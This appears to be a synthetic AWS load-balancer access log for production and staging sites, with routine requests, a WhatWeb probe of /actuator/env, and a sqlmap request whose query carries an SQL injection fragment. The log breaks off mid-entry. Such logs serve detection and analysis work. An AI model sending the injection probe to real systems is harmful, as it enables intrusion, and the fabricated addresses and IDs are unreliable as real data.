arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdba-d0c8951070604610ae022d51" "prod-web-alb.example.com" "-" 7 2024-11-01T00:26:18.215066Z "forward" "-" "-" "10.0.111.62:443" "404" "-" "-" +https 2024-11-01T00:26:18.846798Z prod-web-alb 194.150.110.163:28051 10.0.104.120:443 0.002612 0.170969 0.031131 404 404 516 8950 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdba-3838a294aded46069cd101af" "prod-web-alb.example.com" "-" 0 2024-11-01T00:26:18.846798Z "forward" "-" "-" "10.0.104.120:443" "404" "-" "-" +https 2024-11-01T00:26:19.488669Z prod-web-alb 201.158.106.7:41024 10.0.201.247:443 0.069968 0.228177 0.026111 200 200 753 5919 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdbb-e9994e417df14ef98789162d" "prod-web-alb.example.com" "-" 5 2024-11-01T00:26:19.488669Z "forward" "-" "-" "10.0.201.247:443" "200" "-" "-" +https 2024-11-01T00:26:20.200978Z prod-web-alb 95.214.137.132:50137 10.0.105.59:443 0.076167 0.166967 0.000387 404 404 448 544 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdbc-d8f03e25ac0b4495ab12e665" "prod-web-alb.example.com" "-" 9 2024-11-01T00:26:20.200978Z "forward" "-" "-" "10.0.105.59:443" "404" "-" "-" +https 2024-11-01T00:26:21.916519Z prod-api-alb 167.85.73.155:16243 10.0.46.121:443 0.032461 0.448741 0.028159 302 302 902 10396 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdbd-63818b35dcb444c68d600740" "-" "-" 8 2024-11-01T00:26:21.916519Z "forward" "-" "-" "10.0.46.121:443" "302" "-" "-" +http 2024-11-01T00:26:23.169098Z staging-alb 158.242.183.69:29875 188.121.106.254:443 0.016909 0.235254 0.080624 200 200 239 6343 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdbf-18b4556564824c9298eb6d88" "staging-alb.example.com" "-" 9 2024-11-01T00:26:23.169098Z "forward" "-" "-" "188.121.106.254:443" "200" "-" "-" +https 2024-11-01T00:26:24.690135Z staging-alb 133.103.10.45:26987 127.244.4.10:8080 0.106637 0.355892 0.044461 200 200 235 7436 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdc0-3e3f1418090c4ffaa44795e9" "staging-alb.example.com" "-" 3 2024-11-01T00:26:24.690135Z "forward" "-" "-" "127.244.4.10:8080" "200" "-" "-" +https 2024-11-01T00:26:26.081065Z staging-alb 229.78.182.89:22859 251.5.124.166:8080 0.142506 0.193280 0.022097 404 404 512 6262 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdc2-66b7ff64aa694edbbd29828e" "staging-alb.example.com" "-" 7 2024-11-01T00:26:26.081065Z "forward" "-" "-" "251.5.124.166:8080" "404" "-" "-" +https 2024-11-01T00:26:26.625438Z prod-api-alb 71.192.81.28:64759 10.0.83.50:443 0.066565 0.308757 0.034130 302 302 784 7608 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc2-ee55e1ad556f47418e4e7ad4" "prod-api-alb.example.com" "-" 9 2024-11-01T00:26:26.625438Z "forward" "-" "-" "10.0.83.50:443" "302" "-" "-" +https 2024-11-01T00:26:27.804148Z prod-api-alb 26.76.8.93:52661 10.0.188.121:443 0.074735 0.177419 0.084881 200 200 371 9917 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc3-70d184612da94ac3aa7a5fa7" "prod-api-alb.example.com" "-" 4 2024-11-01T00:26:27.804148Z "forward" "-" "-" "10.0.188.121:443" "200" "-" "-" +https 2024-11-01T00:26:29.347092Z prod-web-alb 68.126.63.172:61552 10.0.116.36:443 0.088744 0.333108 0.037372 302 302 135 8264 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdc5-3c3834bf3a814611b263111b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:26:29.347092Z "forward" "-" "-" "10.0.116.36:443" "302" "-" "-" +https 2024-11-01T00:26:30.639383Z prod-api-alb 139.81.178.238:17341 10.0.32.243:443 0.015531 0.262816 0.083357 200 200 663 3038 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc6-0c3422fc36cb4c778f2eb210" "prod-api-alb.example.com" "-" 8 2024-11-01T00:26:30.639383Z "forward" "-" "-" "10.0.32.243:443" "200" "-" "-" +https 2024-11-01T00:26:32.477733Z prod-api-alb 169.238.103.140:43317 10.0.254.120:443 0.093722 0.014717 0.065624 200 200 854 9195 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc8-17b187c694f04dbfb0bd813d" "prod-api-alb.example.com" "-" 3 2024-11-01T00:26:32.477733Z "forward" "-" "-" "10.0.254.120:443" "200" "-" "-" +https 2024-11-01T00:26:32.698324Z prod-api-alb 233.200.176.64:10444 10.0.239.203:443 0.003834 0.167213 0.087690 200 200 268 2282 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc8-9cd638ca131840c9b8d08c87" "prod-api-alb.example.com" "-" 8 2024-11-01T00:26:32.698324Z "forward" "-" "-" "10.0.239.203:443" "200" "-" "-" +https 2024-11-01T00:26:34.241077Z prod-web-alb 192.117.185.252:24396 10.0.202.24:443 0.051485 0.248608 0.027767 200 200 240 7618 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdca-04629d3acce6496684e63665" "-" "-" 8 2024-11-01T00:26:34.241077Z "forward" "-" "-" "10.0.202.24:443" "200" "-" "-" +https 2024-11-01T00:26:35.658096Z staging-alb 124.139.230.176:62697 21.227.38.161:443 0.087192 0.117346 0.004969 200 200 598 5900 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdcb-1a71ee96ff1a40cca49a44ba" "staging-alb.example.com" "-" 5 2024-11-01T00:26:35.658096Z "forward" "-" "-" "21.227.38.161:443" "200" "-" "-" +https 2024-11-01T00:26:37.566656Z prod-api-alb 36.218.237.240:47733 10.0.230.60:443 0.028043 0.146679 0.010541 404 404 325 4545 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdcd-5d168d607a6d46c58d794759" "prod-api-alb.example.com" "-" 5 2024-11-01T00:26:37.566656Z "forward" "-" "-" "10.0.230.60:443" "404" "-" "-" +https 2024-11-01T00:26:37.825625Z staging-alb 100.109.215.128:54849 204.15.102.203:80 0.102593 0.286619 0.110951 200 200 882 14226 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdcd-1fecb9a53ff54dd08a2b8aac" "staging-alb.example.com" "-" 4 2024-11-01T00:26:37.825625Z "forward" "-" "-" "204.15.102.203:80" "200" "-" "-" +http 2024-11-01T00:26:39.749583Z staging-alb 130.67.25.27:33888 39.107.139.92:443 0.127671 0.161298 0.076463 302 302 33 1885 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdcf-26daf6a4c7b84ae5a4d6510d" "staging-alb.example.com" "-" 7 2024-11-01T00:26:39.749583Z "forward" "-" "-" "39.107.139.92:443" "302" "-" "-" +http 2024-11-01T00:26:39.939894Z staging-alb 216.118.145.182:46914 166.85.39.162:80 0.065024 0.104767 0.080173 200 200 937 2882 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdcf-f78522e57262470888c812d3" "staging-alb.example.com" "-" 9 2024-11-01T00:26:39.939894Z "forward" "-" "-" "166.85.39.162:80" "200" "-" "-" +https 2024-11-01T00:26:41.299494Z staging-alb 105.135.120.248:22496 29.130.219.150:443 0.041785 0.550399 0.068191 301 301 668 12756 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdd1-c35f41be94b94859bd189185" "staging-alb.example.com" "-" 1 2024-11-01T00:26:41.299494Z "forward" "-" "-" "29.130.219.150:443" "301" "-" "-" +https 2024-11-01T00:26:41.582408Z prod-web-alb 52.139.58.53:17364 10.0.222.203:443 0.055116 0.086115 0.011302 200 200 389 4885 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdd1-bcf61845e2cc41c7bc423074" "prod-web-alb.example.com" "-" 10 2024-11-01T00:26:41.582408Z "forward" "-" "-" "10.0.222.203:443" "200" "-" "-" +https 2024-11-01T00:26:41.714258Z prod-web-alb 211.15.154.47:44929 10.0.184.44:443 0.049164 0.388546 0.083511 200 200 576 5860 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdd1-b15e5a3dceb34de1a8c0768f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:26:41.714258Z "forward" "-" "-" "10.0.184.44:443" "200" "-" "-" +http 2024-11-01T00:26:43.090347Z staging-alb 192.199.176.147:19333 56.200.160.227:8080 0.029907 0.451932 0.077299 200 200 78 8038 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdd3-21e338a5d53a44cbb73becb9" "staging-alb.example.com" "-" 5 2024-11-01T00:26:43.090347Z "forward" "-" "-" "56.200.160.227:8080" "200" "-" "-" +http 2024-11-01T00:26:43.427008Z staging-alb 50.69.167.245:38479 77.81.149.68:80 0.025403 0.292050 0.045691 404 404 886 8852 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdd3-ba28ffef36e04c7681cfda38" "staging-alb.example.com" "-" 4 2024-11-01T00:26:43.427008Z "forward" "-" "-" "77.81.149.68:80" "404" "-" "-" +http 2024-11-01T00:26:44.447095Z staging-alb 112.21.235.60:48935 233.132.251.28:443 0.112908 0.409925 0.148245 404 404 247 12699 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdd4-270ba6a2a94d4eca89c6b977" "staging-alb.example.com" "-" 6 2024-11-01T00:26:44.447095Z "forward" "-" "-" "233.132.251.28:443" "404" "-" "-" +https 2024-11-01T00:26:45.872637Z prod-api-alb 156.97.254.32:30846 10.0.21.128:443 0.021939 0.292871 0.067335 200 200 89 5299 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdd5-424f25687de648bc9f3d4b7f" "prod-api-alb.example.com" "-" 2 2024-11-01T00:26:45.872637Z "forward" "-" "-" "10.0.21.128:443" "200" "-" "-" +https 2024-11-01T00:26:46.551734Z prod-web-alb 174.145.175.248:47452 10.0.152.180:443 0.058281 0.419359 0.052590 302 302 43 5528 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdd6-1e1feadc48aa403fbaec571d" "prod-web-alb.example.com" "-" 1 2024-11-01T00:26:46.551734Z "forward" "-" "-" "10.0.152.180:443" "302" "-" "-" +http 2024-11-01T00:26:48.153556Z staging-alb 249.171.230.87:43421 131.155.37.81:443 0.063574 0.734680 0.012666 200 200 916 8260 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdd8-b35c15b2d668484587709735" "staging-alb.example.com" "-" 10 2024-11-01T00:26:48.153556Z "forward" "-" "-" "131.155.37.81:443" "200" "-" "-" +https 2024-11-01T00:26:48.433975Z prod-web-alb 125.199.141.22:45820 10.0.100.162:443 0.063211 0.011110 0.011001 200 200 557 6808 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdd8-f50e67d8d6634a36a22c4708" "prod-web-alb.example.com" "-" 0 2024-11-01T00:26:48.433975Z "forward" "-" "-" "10.0.100.162:443" "200" "-" "-" +https 2024-11-01T00:26:49.739948Z prod-api-alb 45.74.62.211:57498 10.0.209.106:443 0.042119 0.053930 0.087633 302 302 350 3214 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdd9-54ce204a4b2443faaa7b0293" "prod-api-alb.example.com" "-" 0 2024-11-01T00:26:49.739948Z "forward" "-" "-" "10.0.209.106:443" "302" "-" "-" +https 2024-11-01T00:26:50.554528Z prod-web-alb 45.155.205.9:62123 10.0.133.32:443 0.086647 0.383749 0.015217 500 500 612 5882 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdda-a428779b4fed431c8efe8e5e" "-" "-" 5 2024-11-01T00:26:50.554528Z "forward" "-" "-" "10.0.133.32:443" "500" "-" "-" +https 2024-11-01T00:26:51.631807Z prod-web-alb 185.181.118.169:28679 10.0.120.89:443 0.049590 0.493524 0.059385 500 500 660 13699 "POST /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bddb-336f14437221430c8e1cfd89" "-" "-" 7 2024-11-01T00:26:51.631807Z "forward" "-" "-" "10.0.120.89:443" "500" "-" "-" +https 2024-11-01T00:26:51.873092Z prod-api-alb 171.166.248.118:45233 10.0.152.178:443 0.051638 0.448199 0.018169 200 200 117 9357 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bddb-6bafe79245484b8fb4f6b3ab" "prod-api-alb.example.com" "-" 0 2024-11-01T00:26:51.873092Z "forward" "-" "-" "10.0.152.178:443" "200" "-" "-" +http 2024-11-01T00:26:52.158950Z staging-alb 148.241.140.250:50040 241.92.69.185:8080 0.002986 0.014530 0.130065 200 200 154 2620 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bddc-583fe8c00f0346079ba6f525" "-" "-" 5 2024-11-01T00:26:52.158950Z "forward" "-" "-" "241.92.69.185:8080" "200" "-" "-" +https 2024-11-01T00:26:53.909558Z prod-api-alb 35.100.11.128:22730 10.0.191.230:443 0.088745 0.207136 0.026061 302 302 622 3110 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bddd-856ab954b75d4046b2db3564" "prod-api-alb.example.com" "-" 10 2024-11-01T00:26:53.909558Z "forward" "-" "-" "10.0.191.230:443" "302" "-" "-" +https 2024-11-01T00:26:55.246348Z staging-alb 60.254.217.90:50289 141.219.99.108:8080 0.106422 0.191659 0.066191 200 200 891 13495 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bddf-ff35b143e194406f9d599cc4" "staging-alb.example.com" "-" 8 2024-11-01T00:26:55.246348Z "forward" "-" "-" "141.219.99.108:8080" "200" "-" "-" +https 2024-11-01T00:26:55.867421Z prod-web-alb 240.71.226.35:56813 10.0.255.176:443 0.044705 0.453773 0.078167 200 200 927 12384 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bddf-898e641684a74ade84617d9f" "prod-web-alb.example.com" "-" 3 2024-11-01T00:26:55.867421Z "forward" "-" "-" "10.0.255.176:443" "200" "-" "-" +https 2024-11-01T00:26:56.520564Z prod-api-alb 44.223.86.110:45800 10.0.83.89:443 0.034045 0.040450 0.099938 200 200 300 8258 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bde0-6ce5feb062ff4b2fb044562d" "prod-api-alb.example.com" "-" 1 2024-11-01T00:26:56.520564Z "forward" "-" "-" "10.0.83.89:443" "200" "-" "-" +http 2024-11-01T00:26:58.012394Z staging-alb 177.64.195.176:29883 235.84.137.35:443 0.030285 0.290242 0.023977 200 200 717 13588 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bde2-28da88c687524e54ab1c30a5" "staging-alb.example.com" "-" 6 2024-11-01T00:26:58.012394Z "forward" "-" "-" "235.84.137.35:443" "200" "-" "-" +https 2024-11-01T00:26:59.366549Z prod-api-alb 244.166.183.79:31388 10.0.118.151:443 0.077764 0.117480 0.033295 200 200 2 10205 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bde3-e7174463348f407f9b65ad4d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:26:59.366549Z "forward" "-" "-" "10.0.118.151:443" "200" "-" "-" +http 2024-11-01T00:27:00.514752Z staging-alb 244.100.241.109:43931 0.37.233.192:443 0.047243 0.666491 0.063654 200 200 672 5695 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bde4-3560a45984ad47b89bf63c68" "staging-alb.example.com" "-" 10 2024-11-01T00:27:00.514752Z "forward" "-" "-" "0.37.233.192:443" "200" "-" "-" +https 2024-11-01T00:27:00.762264Z prod-web-alb 177.152.111.176:13769 10.0.147.127:443 0.000018 0.036467 0.038222 200 200 628 11092 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bde4-2f27c638ac4246768bc11ca0" "prod-web-alb.example.com" "-" 1 2024-11-01T00:27:00.762264Z "forward" "-" "-" "10.0.147.127:443" "200" "-" "-" +https 2024-11-01T00:27:02.354791Z prod-api-alb 223.232.134.131:45829 10.0.154.127:443 0.021902 0.345880 0.082567 301 301 88 3389 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bde6-4c1d30ad273c453f99507e80" "prod-api-alb.example.com" "-" 9 2024-11-01T00:27:02.354791Z "forward" "-" "-" "10.0.154.127:443" "301" "-" "-" +http 2024-11-01T00:27:03.619087Z staging-alb 133.2.161.159:40626 124.190.23.220:80 0.024887 0.342189 0.015718 404 404 582 3731 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bde7-ded7c8a5986447a7866a716f" "staging-alb.example.com" "-" 2 2024-11-01T00:27:03.619087Z "forward" "-" "-" "124.190.23.220:80" "404" "-" "-" +https 2024-11-01T00:27:04.681038Z staging-alb 15.70.146.28:24226 110.87.87.91:8080 0.080510 0.629303 0.051317 302 302 971 1784 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bde8-2c18f5d1336b4efba7dde52c" "staging-alb.example.com" "-" 8 2024-11-01T00:27:04.681038Z "forward" "-" "-" "110.87.87.91:8080" "302" "-" "-" +https 2024-11-01T00:27:05.334239Z prod-web-alb 111.176.86.64:60324 10.0.23.41:443 0.099796 0.128924 0.062052 200 200 973 6949 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bde9-817ed54fb33f4fe68bf4d2dc" "prod-web-alb.example.com" "-" 9 2024-11-01T00:27:05.334239Z "forward" "-" "-" "10.0.23.41:443" "200" "-" "-" +https 2024-11-01T00:27:05.689609Z prod-web-alb 243.142.99.238:57787 10.0.13.138:443 0.013199 0.058319 0.059204 200 200 523 12872 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bde9-3e19f5b9bd3948afbcf8f31e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:27:05.689609Z "forward" "-" "-" "10.0.13.138:443" "200" "-" "-" +https 2024-11-01T00:27:05.931049Z prod-api-alb 113.154.192.64:41922 10.0.121.187:443 0.002480 0.316299 0.021099 301 301 382 8695 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bde9-a26a52fec9b64b5d9bb0cf27" "prod-api-alb.example.com" "-" 10 2024-11-01T00:27:05.931049Z "forward" "-" "-" "10.0.121.187:443" "301" "-" "-" +https 2024-11-01T00:27:06.048861Z prod-api-alb 66.0.47.191:11185 10.0.95.89:443 0.072827 